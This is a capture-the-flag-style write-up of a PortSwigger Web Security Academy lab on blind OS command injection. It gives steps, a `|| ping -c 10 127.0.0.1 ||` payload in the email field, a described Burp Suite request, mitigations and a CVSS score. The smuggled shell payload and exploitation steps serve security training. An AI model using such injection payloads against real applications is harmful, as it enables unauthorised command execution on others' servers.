

Blind OS command injection with time delays

Topic: Command Injection | Difficulty: Practitioner

Description

The feedback submission form passes the email field to an OS shell command without sanitization. The application does not return command output, but injection can be confirmed by injecting a time-delay command (ping). A 10-second response delay confirms successful blind OS command injection.

Steps to Exploit

1. Navigate to the feedback / contact form.
2. Fill in all required fields with valid data.
3. Intercept the POST submission request in Burp Suite.
4. Locate the 'email' parameter in the request body.
5. Modify the email value to: `|| ping -c 10 127.0.0.1 ||`
6. Forward the request and measure the response time.
7. A ~10 second delay confirms blind OS command injection.

Proof of Concept

Payload (email field):

```
|| ping -c 10 127.0.0.1 ||
```

Effect:

```
Server responds after ~10 seconds (10 ICMP packets sent to loopback).
```

Impact

- Confirmed arbitrary OS command execution despite no visible output.
- Can be escalated to full compromise via out-of-band data exfiltration.
- Potential for reverse shell establishment.
- Risk of sensitive file exfiltration and internal network reconnaissance.

Mitigation / Remediation

1. Never pass user-controlled input directly to shell execution functions.
2. Sanitize all input fields including email against shell metacharacters.
3. Use language-native libraries for email validation instead of shell commands.
4. Monitor anomalous response times and outbound network traffic for early detection.

CVSS Score

CVSS v3.1: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS Justification

- Attack Vector: Network - exploitable via standard HTTP form submission.

- Attack Complexity: Low - no special configuration required.
- Privileges Required: None.
- User Interaction: None.
- Confidentiality: High - can escalate to full filesystem access.
- Integrity / Availability: None - time-delay proof-of-concept only.

CMDi Blind Time Delay

Proof of Concept — Exploitation Evidence

1. Burp Suite — Injected Payload & Server Response

The screenshot displays the Burp Suite Community Edition v2026.4.3 interface. The 'Repeater' tab is active, showing a single request. The 'Request' pane on the left contains the following details:

- Method: POST
- URL: /feedback/submit HTTP/2
- Host: 0aa8001e0449f40a813d122e0056000b.web-security-academy.net
- Cookie: session=3693r4jyc1Y7J60TeizY1b57rPrLMgSF
- Content-Length: 101
- Sec-Ch-Ua-Platform: "macOS"
- Accept-Language: en-GB,en;q=0.9
- Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
- Content-Type: application/x-www-form-urlencoded
- Sec-Ch-Ua-Mobile: ?0
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
- Accept: */*
- Origin: https://0aa8001e0449f40a813d122e0056000b.web-security-academy.net
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: cors
- Sec-Fetch-Dest: empty
- Referer: https://0aa8001e0449f40a813d122e0056000b.web-security-academy.net/feedback
- Accept-Encoding: gzip, deflate, br
- Priority: u=1, i
- Body (URL-encoded): csrf=ekddYfAGzGz7Hk0oIzrk5DyrBjqrpLa86name=fdsf&email=x|ping++c+10+127.0.0.1||&subject=fd&message=df

The 'Response' pane on the right shows the server's reply:

- Status: HTTP/2 200 OK
- Content-Type: application/json; charset=utf-8
- X-Frame-Options: SAMEORIGIN
- Content-Length: 2
- Body: {}

The 'Inspector' pane on the far right lists the request attributes, query parameters, body parameters, cookies, headers, and response headers.

Request intercepted/modified in Burp Suite showing the payload and the resulting response.

2. Lab Solved Confirmation

Lab: Blind OS command injec

Blind OS command injection

0aa8001e0449f40a813d122e0056000b.web-security-academy.net/feedback

WebSecurity Academy

Blind OS command injection with time delays

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!

Continue learning >>

Home | Submit feedback

Submit feedback

Name:

Email:

Subject:

Message:

https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays

PortSwigger lab status changed to "Solved" after exploitation.